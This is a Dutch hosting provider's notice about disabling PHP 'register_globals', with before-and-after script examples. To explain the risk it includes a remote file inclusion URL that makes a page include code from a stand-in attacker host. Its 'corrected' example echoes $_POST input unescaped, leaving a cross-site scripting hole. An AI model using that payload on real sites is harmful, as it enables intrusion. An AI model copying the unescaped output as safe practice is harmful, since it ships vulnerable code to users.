Met het verschijnen van PHP 4.1.0 is een aantal veiligheidsgerelateerde aanpassingen geïntroduceerd. Dit heeft (o.a.) als gevolg dat de onveilige instelling 'register_globals=on' bij voorkeur uit staat. Wij gaan deze standaardinstelling per 1 december 2006 overnemen op ons hosting- en serverplatform. Deze wijziging is mogelijk van invloed op de werking van uw php-scripts. Onderstaand wordt aan de hand van een voorbeeld uitgelegd waar u op moet letten bij het contoleren van uw scripts. Maar eerst iets meer over het gevaar van register globals.
Veel scripts maken gebruik van één configuratiebestand dat vervolgens op elke pagina wordt opgeroepen. Bijvoorbeeld:
pagina.phpglobal $path; require_once($path."/include/configuratie.php" );
Door het gebruik van register_globals kunnen kwaadwillenden heel eenvoudig een variabele meesturen en daarmee de include beïnvloeden:
pagina.php?path=http://www.badsite.com/hacktool
In plaats van het includen van configuratie.php wordt nu de code uitgevoerd (hacktool) die is meegestuurd. Wanneer register_globals uitstaan kunnnen kwaadwillenden nog steeds de code aan de URL toevoegen, maar omdat die dan niet als variabele beschikbaar komt, wordt de include niet beïnvloed. Dit is één van de belangrijkste redenen waarom bij het gebruik van register_globals niet langer meer kunnen toestaan.
In onderstaand voorbeeld vragen we om de voornaam en versturen we de invoer naar resultaat.php
invulformulier.php<html> <head> <title>Invulformulier</title> </head> <body> <form name="formulier" method="post" action="resultaat.php"> Uw voornaam: <input type="text" name="voornaam" value=""> <input type="submit" name="submit" value="versturen"> </form> </body> </html>
Wanneer register globals aan staan, dan kunt u de variabele "voornaam" die wordt verstuurd rechtstreeks oproepen:
resultaat.php<html> <head> <title>Resultaat</title> </head> <body> Uw voornaam is <?php echo $voornaam; ?> </body> </html>
Echter, kwaadwillenden kunnen de variabele "voornaam" ook misbruiken voor andere doeleinden. Om dit tegen te gaan worden register globals uitgezet. Dit betekent dat bestaande scripts moeten worden aangepast en dat voortaan gebruik moet worden gemaakt van voorgedefinieerde variabelen:
resultaat.php<html> <head> <title>Resultaat</title> </head> <body> Uw voornaam is <?php echo $_POST['voornaam']; ?> </body> </html>
Zoals u in bovenstaand voorbeeld ziet is de variabele $voornaam gewijzigd in $_POST['voornaam']. Het uitschakelen van register globals is tevens van toepassing op get-, sessie- en cookie-variabelen. Deze variabelen zijn:
$_GET['waarde'] $_SESSION['waarde'] $_COOKIE['waarde']
Voor $_POST, $_GET en $_COOKIES kunt u ook de meer algemene $_REQUEST gebruiken (geldt niet voor $_SESSION)
Meer informatie over het gebruik van register globals is te vinden op de website van php. Een aantal handige links zijn: